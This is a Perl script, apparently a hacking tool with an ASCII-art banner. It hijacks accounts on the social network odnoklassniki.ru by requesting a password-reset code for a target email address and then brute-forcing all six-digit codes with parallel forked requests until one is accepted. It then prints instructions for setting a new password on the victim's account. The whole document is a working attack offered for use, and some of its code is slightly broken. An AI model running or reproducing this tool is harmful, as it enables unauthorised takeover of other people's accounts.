Code
#!/usr/bin/perl
use LWP::UserAgent;
print qq(
,__ __,
/ /
__ _ / /
.___/:::* / /
|_____ |/
/<>//,./ / _________
/ / / | RST
/ /.,<>/ | GHC
/' \\ / | UKT
\\ \\ / \\ |__\\xD____
\\ \\/ /
/ ''''' /
/ / /
/ / ___ /
*__ __*
[preved odnoklassne4gi]
);
if (!scalar(@ARGV)) {
print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n";
exit();
}
if (-e "success") {
print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n";
exit();
}
my $email="$ARGV[0]";
if ($ARGV[1]) {
my $MAX_PROCESSES=$ARGV[1];
} else {
my $MAX_PROCESSES=5;
}
my $DEBUG=0;
my @pids;
my $npids=0;
my $restore=0;
my $e;
# first step - omg! I lost my password?!?!?!
$ua=LWP::UserAgent->new();
$page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]);
$page_content=$page->content();
if ($page_content=~/st.email/) {
print "\[-\] Please provide correct email address\n";
exit();
} else {
print "\[+\] Repair password code send to $email\n";
}
# step number two - bruteforce code for repair password
print "\[~\] Brutforce code for repair password\
This process make take max ~ 18 hours to check all combinations\
You need good internet channel and fast cpu\n";
open(LOG_FILE,">>log");
$not=1;
for ($code=100000;$code<=999999;$code++) {
if (-e "success") {
print "DONE";
exit();
}
if ($code==199999 && $not==1) {
$cod="099999";
$not=0;
$code=100000;
} elsif ($code=~/^1(d+)$/ && $not==1) {
$code=~/^1(d+)$/;
$cod="0$1";
} else {
$cod=$code;
}
if ($cod=~/^(d+)000$/) {
print "#";
}
my $pid;
$pid=fork();
if($pid>0){
push(@pids,$pid);
$npids++;
if($npids>=$MAX_PROCESSES){
for(1..($MAX_PROCESSES)){
$wait_ret=wait();
if($wait_ret>0){
$npids--;
}
}
}
next;
}elsif(undef $pid){
print "fork error\n" if ($DEBUG);
exit(0);
}
$p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]);
$con=$p->content();
if ($con=~/password.confirmation/) {
print "$cod cached\n";
print LOG_FILE "$cod cached\n";
open(SUCCESS,">>success");
print SUCCESS "\n############################\n";
print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n";
print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
print SUCCESS "############################\n";
print "############################\n";
print "Yahooo! Congratulations! Code for password repair is - $cod\n";
print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
print "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
print "############################\n";
close(SUCCESS);
} else {
print LOG_FILE "$cod failed\n";
}
exit();
}
close(LOG_FILE);